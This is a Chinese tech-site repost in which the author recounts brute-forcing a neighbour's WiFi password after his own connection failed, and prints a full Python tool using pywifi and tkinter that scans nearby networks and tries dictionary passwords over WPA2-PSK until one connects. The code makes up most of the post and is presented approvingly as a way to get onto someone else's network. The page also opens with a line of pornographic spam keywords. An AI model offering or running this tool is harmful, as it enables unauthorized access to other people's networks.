一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何用代碼破解wifi密碼

Q4MP_gh_c472c21 ? 來(lái)源:小黃鴨編程社區(qū) ? 作者:小黃鴨編程社區(qū) ? 2021-11-22 09:45 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

昨晚,家里停網(wǎng)了……對(duì)于碼農(nóng)而言,停網(wǎng)了,這能忍? 于是,我打電話給修網(wǎng)絡(luò)的,但對(duì)方說(shuō)太晚了,要第二天才能過(guò)來(lái)。 這時(shí),我突然發(fā)現(xiàn)隔壁妹紙的wifi信號(hào)是滿格!這讓我動(dòng)了邪念,看有沒有辦法蹭下網(wǎng),嘿嘿! 首先,用的是萬(wàn)能鑰匙,沒有成功…… 看來(lái),我只能用字典來(lái)跑密碼了!這種小功能,肯定只有交給python來(lái)完成了,搜了一下發(fā)現(xiàn)pywifi這個(gè)組件剛好滿足需求。 下面來(lái)記錄一下我的操作過(guò)程。 # 簡(jiǎn)介 Python豐富的第三方庫(kù)中自然也包括wifi的API,可以很方便的實(shí)現(xiàn)wifi的連接。如果有一份詳細(xì)的密碼本,可以實(shí)現(xiàn)wifi密碼的暴力破解,前提是你有足夠的耐心和時(shí)間去等待。 # 思路 對(duì)給定的wifi名稱,我們循環(huán)使用密碼去一一做嘗試,如果失敗就斷開連接,直到連接成功為止。 即導(dǎo)入所需要的第三方庫(kù)(請(qǐng)自行下載安裝好),通過(guò)pywifi調(diào)用網(wǎng)卡接口,依次做測(cè)試,循環(huán)讀取密碼嘗試連接。在這里只需要修改密碼文件路徑和wifi名稱即可。 #環(huán)境準(zhǔn)備
  • python2.7
  • pywifi模塊
  • 字典
#導(dǎo)入模塊

		frompywifiimport*
		#字典準(zhǔn)備
		隨機(jī)搞的wifi弱口令TOP10。一行只包含一組密碼,腳本依次讀取每行密碼,直到找到正確的密碼為止。
		
		
		#完整代碼
		

		# coding:utf-8 from tkinter import *from tkinter import ttk import pywififrom pywifi import constimport timeimport tkinter.filedialogimport tkinter.messagebox class MY_GUI():def __init__(self,init_window_name):self.init_window_name = init_window_name #密碼文件路徑self.get_value = StringVar() #獲取破解wifi賬號(hào)
self.get_wifi_value = StringVar() #獲取wifi密碼
self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取網(wǎng)卡接口self.iface = self.wifi.interfaces()[0] #抓取第一個(gè)無(wú)線網(wǎng)卡
self.iface.disconnect() #測(cè)試鏈接斷開所有鏈接
time.sleep(1) #休眠1秒
#測(cè)試網(wǎng)卡是否屬于斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self):return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #設(shè)置窗口
def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text="配置") labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0) self.label = Label(labelframe,text="目錄路徑:").grid(column=0,row=1) self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) self.file = Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi賬號(hào):").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi密碼:").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定義樹形結(jié)構(gòu)與滾動(dòng)條
self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標(biāo)題
self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW)self.wifi_tree.bind("",self.onDBClick)self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi#cmd /k C:Python27python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXITdef scans_wifi_list(self): # 掃描周圍wifi列表#開始掃描
print("^_^ 開始掃描附近wifi...")self.iface.scan() time.sleep(15)#在若干秒后獲取掃描結(jié)果
scanres = self.iface.scan_results()#統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
nums = len(scanres) print("數(shù)量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實(shí)際數(shù)據(jù)
self.show_scans_wifi_list(scanres)return scanres #顯示wifi列表def show_scans_wifi_list(self,scans_res):for index,wifi_info in enumerate(scans_res):# print("%-*s| %s | %*s |%*s "%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#print("| %s | %s | %s | %s "%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename) #Treeview綁定事件def onDBClick(self,event):self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #讀取密碼字典,進(jìn)行匹配
def readPassWord(self):self.getFilePath = self.get_value.get()#print("文件路徑:%s " %(self.getFilePath))self.get_wifissid = self.get_wifi_value.get()#print("ssid:%s " %(self.get_wifissid))self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr =self.pwdfilehander.readline()#print("密碼: %s " %(self.pwdStr))if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)#print("返回值:%s " %(self.bool1) )if self.bool1:# print("密碼正確:"+pwdStr# res = "密碼:%s 正確 "%self.pwdStr;self.res = "===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功?。?!') print(self.res)breakelse:# print("密碼:"+self.pwdStr+"錯(cuò)誤")self.res = "---錯(cuò)誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr) print(self.res) sleep(3)except: continue #對(duì)wifi和密碼進(jìn)行匹配def
connect(self,pwd_Str,wifi_ssid):
#創(chuàng)建wifi鏈接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網(wǎng)卡的開放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles() #刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設(shè)定新的鏈接文件self.iface.connect(self.tmp_profile)#鏈接
time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上 isOK=True else: isOK=Falseself.iface.disconnect() #斷開 time.sleep(1)#檢查斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window()#ui.scans_wifi_list() init_window.mainloop() gui_start() # 結(jié)果 運(yùn)行結(jié)果如下圖所示,按照?qǐng)D形界面的操作,便能開始跑起來(lái)了。 就是這么簡(jiǎn)單,你get到了沒?
責(zé)任編輯:haq
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4900

    瀏覽量

    70756
  • python
    +關(guān)注

    關(guān)注

    56

    文章

    4827

    瀏覽量

    86766

原文標(biāo)題:昨晚停網(wǎng)后,我寫了一段代碼破解了隔壁小姐姐的wifi密碼...

文章出處:【微信號(hào):gh_c472c2199c88,微信公眾號(hào):嵌入式微處理器】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    WiFi和WLAN傻傻分不清楚?#WIFI #WLAN #網(wǎng)絡(luò) #科普

    WIFI
    安泰儀器維修
    發(fā)布于 :2025年05月28日 17:43:46

    何用 C# 代碼對(duì) FX3/CX3 的 EEPROM 進(jìn)行編程?

    /CyUSB-NET-manual/td-p/105011),我如何用 C# 代碼對(duì) FX3/CX3 的 EEPROM 進(jìn)行編程? 我應(yīng)該使用這個(gè)功能嗎? \"4.9.1
    發(fā)表于 05-26 07:21

    CAN轉(zhuǎn)WiFi#三格電子#CAN轉(zhuǎn)WiFi

    WIFI
    三格電子科技
    發(fā)布于 :2025年05月19日 11:38:37

    如何防止SSH暴力破解

    密碼要寫的足夠的復(fù)雜,通常建議將密碼寫16位,并且無(wú)連貫的數(shù)字或者字母;當(dāng)然也可以固定一個(gè)時(shí)間修改一次密碼,推薦是一個(gè)月修改一次會(huì)穩(wěn)妥一些.
    的頭像 發(fā)表于 05-12 16:18 ?317次閱讀
    如何防止SSH暴力<b class='flag-5'>破解</b>

    抵御量子計(jì)算威脅:航芯「抗量子密碼加密簽名方案」為信息安全筑起新防線

    隨著量子計(jì)算進(jìn)入實(shí)用化突破期,傳統(tǒng)密碼體系面臨的安全威脅已從理論風(fēng)險(xiǎn)升級(jí)為可預(yù)見的技術(shù)挑戰(zhàn)。量子計(jì)算機(jī)強(qiáng)大的運(yùn)算能力可能會(huì)破解現(xiàn)有的公鑰密碼體系,例如RSA和橢圓曲線加密算法(ECC)。為了應(yīng)對(duì)量子
    的頭像 發(fā)表于 04-14 11:01 ?431次閱讀
    抵御量子計(jì)算威脅:航芯「抗量子<b class='flag-5'>密碼</b>加密簽名方案」為信息安全筑起新防線

    華為麒麟990主板不能連接WiFi

    MatePadPro10.8屏幕摔了,但主板可以用,拆開連接電池和TypeC尾插,能夠有線連接mateview顯示器,鍵鼠操控。 登錄系統(tǒng)界面,就是不能上網(wǎng),點(diǎn)擊WiFi可以選擇網(wǎng)絡(luò),但是不支持輸入
    發(fā)表于 03-07 21:21

    家里wifi密碼忘了該怎樣找回密碼

    家中Wi-Fi密碼的有效方法,幫助大家輕松應(yīng)對(duì)這一日常小難題。 一、通過(guò)手機(jī)WLAN二維碼 這是最簡(jiǎn)單的方法,打開手機(jī)WiFi,點(diǎn)入,找到“WLAN二維碼”,點(diǎn)進(jìn)去就可以看到密碼。這種方法前提是手機(jī)一定要能連上本地
    的頭像 發(fā)表于 03-05 11:06 ?1800次閱讀
    家里<b class='flag-5'>wifi</b><b class='flag-5'>密碼</b>忘了該怎樣找回<b class='flag-5'>密碼</b>

    AI如何破解蛇毒密碼

    AI 驅(qū)動(dòng)的醫(yī)學(xué)有望為世界上最易受影響的人群帶來(lái)救及時(shí)的蛇咬傷治療。
    的頭像 發(fā)表于 02-20 09:30 ?491次閱讀

    AN-737: 如何用ADIsimADC完成ADC建模

    電子發(fā)燒友網(wǎng)站提供《AN-737: 如何用ADIsimADC完成ADC建模.pdf》資料免費(fèi)下載
    發(fā)表于 01-13 14:54 ?0次下載
    AN-737: 如<b class='flag-5'>何用</b>ADIsimADC完成ADC建模

    NAS重置密碼攻略來(lái)襲,讓你告別‘密碼焦慮’!

    你是否曾遇到過(guò)這樣的尷尬場(chǎng)景:當(dāng)你登錄某個(gè)賬號(hào)時(shí),突然發(fā)現(xiàn)自己的腦子像是被格式化了一樣,一片空白。好不容易憑感覺輸入了幾組可能的密碼組合,結(jié)果系統(tǒng)無(wú)情地吐出了“密碼錯(cuò)誤”的提示。 更讓人抓狂
    的頭像 發(fā)表于 12-11 15:29 ?1119次閱讀
    NAS重置<b class='flag-5'>密碼</b>攻略來(lái)襲,讓你告別‘<b class='flag-5'>密碼</b>焦慮’!

    Linux系統(tǒng)設(shè)置用戶密碼規(guī)則(復(fù)雜密碼策略)方法

    Linux系統(tǒng)下的用戶密碼的有效期 可以修改密碼可以通過(guò)login.defs文件控制。設(shè)置密碼過(guò)期期限(默認(rèn)情況下,用戶的密碼永不過(guò)期。) 編輯 /etc/login.defs 文件,
    的頭像 發(fā)表于 12-07 09:24 ?964次閱讀

    LKT(LCS)代碼移植芯片優(yōu)勢(shì)

    智能卡芯片內(nèi)的程序段,獲得運(yùn)行結(jié)果,并以此結(jié)果作為用戶程序進(jìn)一步運(yùn)行的輸入數(shù)據(jù)。因此加密芯片成了產(chǎn)品的一部分,而代碼在芯片內(nèi)部運(yùn)算,盜版商無(wú)法破解,從根本上杜絕了程序被破解的可能。為了方便客戶調(diào)用函數(shù),同時(shí)減少單片機(jī)
    的頭像 發(fā)表于 08-22 10:03 ?1178次閱讀

    什么是wifi天線?如何選擇合適且正確的WiFi天線?

    隨著無(wú)線通信的發(fā)展在一些公共場(chǎng)合,咖啡廳,肯德基、餐廳,辦公室、寫字樓等等,可以說(shuō)wifi已在我們?nèi)粘I顭o(wú)處不在,然而這些都是我們所知的wifi的應(yīng)用場(chǎng)景和方式。需要深入了解wifi天線的相關(guān)資料
    的頭像 發(fā)表于 07-22 14:52 ?1934次閱讀